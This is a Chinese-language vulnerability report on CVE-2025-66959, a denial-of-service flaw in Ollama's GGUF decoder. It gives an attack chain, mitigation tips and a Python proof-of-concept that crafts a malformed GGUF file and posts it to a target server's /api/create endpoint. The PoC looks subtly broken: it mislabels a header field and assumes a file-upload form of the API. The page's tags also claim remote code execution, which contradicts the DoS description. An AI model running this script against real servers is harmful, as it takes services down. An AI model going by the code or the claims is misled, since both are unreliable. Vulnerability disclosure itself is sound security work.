IPBUF安全漏洞报告
English
CVE-2025-66959 CVSS 7.5 高危

CVE-2025-66959: Ollama GGUF解码器未检查长度导致拒绝服务漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2025-66959
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ollama

相关标签

拒绝服务GGUF解码器ollama缓冲区溢出未检查长度远程代码执行CVE-2025-66959

漏洞概述

CVE-2025-66959是关于ollama v.0.12.10版本中的一个安全漏洞。该漏洞位于GGUF(GPT-Generative Unified Format)解码器中,由于未对长度参数进行充分检查,远程攻击者可以通过发送特制的GGUF格式数据来触发拒绝服务(DoS)条件。具体来说,当ollama处理恶意的GGUF文件时,解码器在复制数据时没有正确验证长度字段,可能导致内存分配问题或程序崩溃。攻击者无需认证即可利用此漏洞,通过网络远程触发,影响服务的可用性。此漏洞的CVSS评分为7.5,属于高危级别,对使用ollama进行大语言模型部署和推理的系统构成严重威胁。

技术细节

该漏洞存在于ollama的GGUF解码器实现中,具体是在处理GGUF格式数据的复制操作时缺乏边界检查。GGUF是一种用于存储和传输大语言模型权重的二进制格式,在解码过程中,解码器需要解析多个字段,包括元数据和模型权重。当解析包含恶意构造的长度字段时,解码器可能在内存分配或数据复制阶段出现问题。根据公开的漏洞报告,问题出在decoding copy操作中,攻击者可以通过设置异常的长度值来触发panic或导致程序异常终止。由于漏洞位于服务端处理逻辑中,攻击者只需构造特定的GGUF文件并通过API或相关接口上传即可触发漏洞,无需任何认证凭据。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统中运行的ollama服务版本(v.0.12.10或受影响版本)
STEP 2
步骤2
攻击者构造恶意的GGUF文件,在长度字段中注入异常值(如过大的整数或负值)
STEP 3
步骤3
攻击者通过ollama的API端点(如/api/create或/api/pull)上传或处理该恶意GGUF文件
STEP 4
步骤4
ollama的GGUF解码器在解析文件时,由于未检查长度参数,直接进行内存分配或数据复制操作
STEP 5
步骤5
解码器触发panic或程序崩溃,导致ollama服务不可用,实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66959 PoC - GGUF Decoder DoS # This PoC demonstrates the vulnerability in ollama's GGUF decoder # The vulnerability allows a remote attacker to cause DoS via unchecked length in GGUF decoder copy import requests import struct def create_malicious_gguf(): """Generate a malicious GGUF file with invalid length fields""" gguf_data = bytearray() # GGUF magic number gguf_data.extend(b'GGUF') # Magic # Version (typically 3) gguf_data.extend(struct.pack('<I', 3)) # TENSOR_COUNT - set to trigger vulnerability gguf_data.extend(struct.pack('<Q', 1)) # DATA_SIZE - malicious large value gguf_data.extend(struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)) # Add more malformed data to trigger panic in decoder gguf_data.extend(b'\x00' * 1024) return bytes(gguf_data) def exploit_ollama(target_url, gguf_file_path): """ Exploit function to trigger DoS in ollama GGUF decoder """ # Method 1: Upload malicious GGUF file via API with open(gguf_file_path, 'wb') as f: f.write(create_malicious_gguf()) # Upload to ollama files = {'file': open(gguf_file_path, 'rb')} try: response = requests.post( f'{target_url}/api/create', files=files, timeout=10 ) print(f'Response status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'Request failed (expected): {e}') # Usage example if __name__ == '__main__': target = 'http://target-ollama-server:11434' exploit_ollama(target, 'malicious.gguf') print('PoC executed - check if target service is still responsive')

影响范围

ollama v.0.12.10

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制ollama服务的网络访问,仅允许受信任的IP地址访问;2)使用防火墙规则限制API端点的暴露;3)实施请求速率限制(rate limiting)防止恶意请求;4)对上传的GGUF文件进行预先扫描和格式验证;5)监控ollama服务的运行状态,设置异常告警;6)考虑使用容器隔离ollama服务,限制漏洞影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表